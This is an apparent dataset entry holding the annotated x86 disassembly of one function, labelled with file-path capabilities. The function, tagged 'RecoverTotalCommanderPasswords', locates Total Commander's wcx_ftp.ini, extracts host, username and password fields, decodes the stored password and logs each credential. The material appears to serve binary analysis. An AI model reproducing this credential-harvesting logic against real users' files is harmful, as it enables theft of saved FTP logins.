Function at 0x43af93
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x65a4
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1397]
push esi
push edi
mov esi, 0x3e7
mov byte [ebp - 0x1398], 0
push esi
push 0
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x177f]
mov byte [ebp - 0x1780], 0
push 0
push eax
call fcn.00626f50
mov esi, str.wcx_ftp.ini
lea edi, [ebp - 0x10]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00631510
add esp, 0x1c
cmp eax, 1
jae 0x43b056
call fcn.00449844
test eax, eax
lea eax, [ebp - 0x1780]
push eax
je 0x43b038
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x43b031
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RecoverTotalCommanderPasswords
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
jmp 0x43b3c7
mov eax, str._sGHISLER_s
jmp 0x43b04e
xor eax, eax
push eax
push eax
push 0x26
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x43b01b
mov eax, str._sTotalCmd_s
lea ebx, [ebp - 0x1780]
jmp 0x43b05b
mov eax, 0x66c218
lea ecx, [ebp - 0x10]
mov edi, 0x3e8
push ecx
push ebx
push eax
lea eax, [ebp - 0x1398]
push edi
push eax
call fcn.00445d6d
lea eax, [ebp - 0x1398]
push eax
push str._n_Final_file_path_is____s
call fcn.00449974
push 0x66ca20
lea eax, [ebp - 0x1398]
xor ebx, ebx
push eax
lea eax, [ebp - 0x65a4]
mov dword [ebp - 0x65a4], ebx
push eax
call fcn.00632119
add esp, 0x28
test eax, eax
jne 0x43b3b6
cmp dword [ebp - 0x65a4], ebx
je 0x43b3b6
lea esi, [edi - 1]
mov byte [ebp - 0x3f8], bl
push esi
lea eax, [ebp - 0x3f7]
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0xfaf]
mov byte [ebp - 0xfb0], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x7df]
mov byte [ebp - 0x7e0], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0xbc7]
mov byte [ebp - 0xbc8], bl
push ebx
push eax
call fcn.00626f50
push dword [ebp - 0x65a4]
lea eax, [ebp - 0x3e90]
push 0x2710
push eax
call fcn.00631f4f
add esp, 0x3c
mov esi, 0x66ae5d
jmp 0x43b364
lea eax, [ebp - 0x3e90]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x43b163
lea eax, [ebp - 0x3e90]
push eax
call fcn.00631510
dec eax
pop ecx
cmp eax, 0x2710
jae 0x43b3e0
mov byte [ebp + eax - 0x3e90], bl
lea eax, [ebp - 0x3e90]
push eax
call fcn.00449da7
lea eax, [ebp - 0x3e90]
push eax
lea eax, [ebp - 0x65a0]
push 0x2710
push eax
call fcn.006311ec
lea eax, [ebp - 0x65a0]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0x65a0]
push eax
call fcn.00631711
lea eax, [ebp - 0x3e90]
push 0x5b
push eax
call fcn.006270b0
add esp, 0x24
test eax, eax
je 0x43b23e
lea eax, [ebp - 0x3e90]
push 0x5d
push eax
call fcn.006270b0
pop ecx
pop ecx
test eax, eax
je 0x43b23e
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x3e90]
push eax
push str._n___Found_new_entry....__s___s_
call fcn.00449974
lea eax, [ebp - 0x3f8]
push eax
call fcn.00631510
add esp, 0x10
test eax, eax
je 0x43b221
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x7e0]
push eax
lea eax, [ebp - 0xbc8]
push eax
push esi
push 0x13f
push 4
call fcn.00412c85
add esp, 0x20
mov byte [ebp - 0x7e0], bl
mov byte [ebp - 0xbc8], bl
mov byte [ebp - 0xfb0], bl
mov byte [ebp - 0x3f8], bl
jmp 0x43b34a
lea eax, [ebp - 0x65a0]
push str.host
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x43b28c
lea eax, [ebp - 0x3e90]
push 0x3d
push eax
call fcn.006270b0
inc eax
push eax
lea eax, [ebp - 0xbc8]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0xbc8]
push eax
call fcn.00449da7
lea eax, [ebp - 0xbc8]
push eax
push str._n_Found_host_s
jmp 0x43b2d8
lea eax, [ebp - 0x65a0]
push str.username
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x43b2e2
lea eax, [ebp - 0x3e90]
push 0x3d
push eax
call fcn.006270b0
inc eax
push eax
lea eax, [ebp - 0x7e0]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0x7e0]
push eax
call fcn.00449da7
lea eax, [ebp - 0x7e0]
push eax
push str._n_Found_username_s
call fcn.00449974
add esp, 0x20
jmp 0x43b34a
lea eax, [ebp - 0x65a0]
push str.password
push eax
call fcn.00627320
pop ecx
pop ecx
test eax, eax
je 0x43b34a
lea eax, [ebp - 0x3e90]
push 0x3d
push eax
call fcn.006270b0
inc eax
push eax
lea eax, [ebp - 0xfb0]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0xfb0]
push eax
call fcn.00449da7
push edi
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0xfb0]
push eax
call fcn.00408231
lea eax, [ebp - 0x3f8]
push eax
push str._n_Found_password_s
call fcn.00449974
add esp, 0x2c
push dword [ebp - 0x65a4]
lea eax, [ebp - 0x3e90]
push 0x2710
push eax
call fcn.00631f4f
add esp, 0xc
test eax, eax
jne 0x43b132
push dword [ebp - 0x65a4]
call fcn.00637603
lea eax, [ebp - 0x3f8]
push eax
call fcn.00631510
pop ecx
pop ecx
test eax, eax
je 0x43b3b1
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x7e0]
push eax
lea ecx, [ebp - 0xbc8]
push ecx
push esi
push 0x13f
push 4
call fcn.00412c85
add esp, 0x20
xor eax, eax
inc eax
jmp 0x43b3d1
lea eax, [ebp - 0x1398]
push eax
push str.RecoverTotalCommanderPasswords
push str._s_Failed_to_open_file__s
call fcn.00449974
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret
call fcn.005fe87a
int3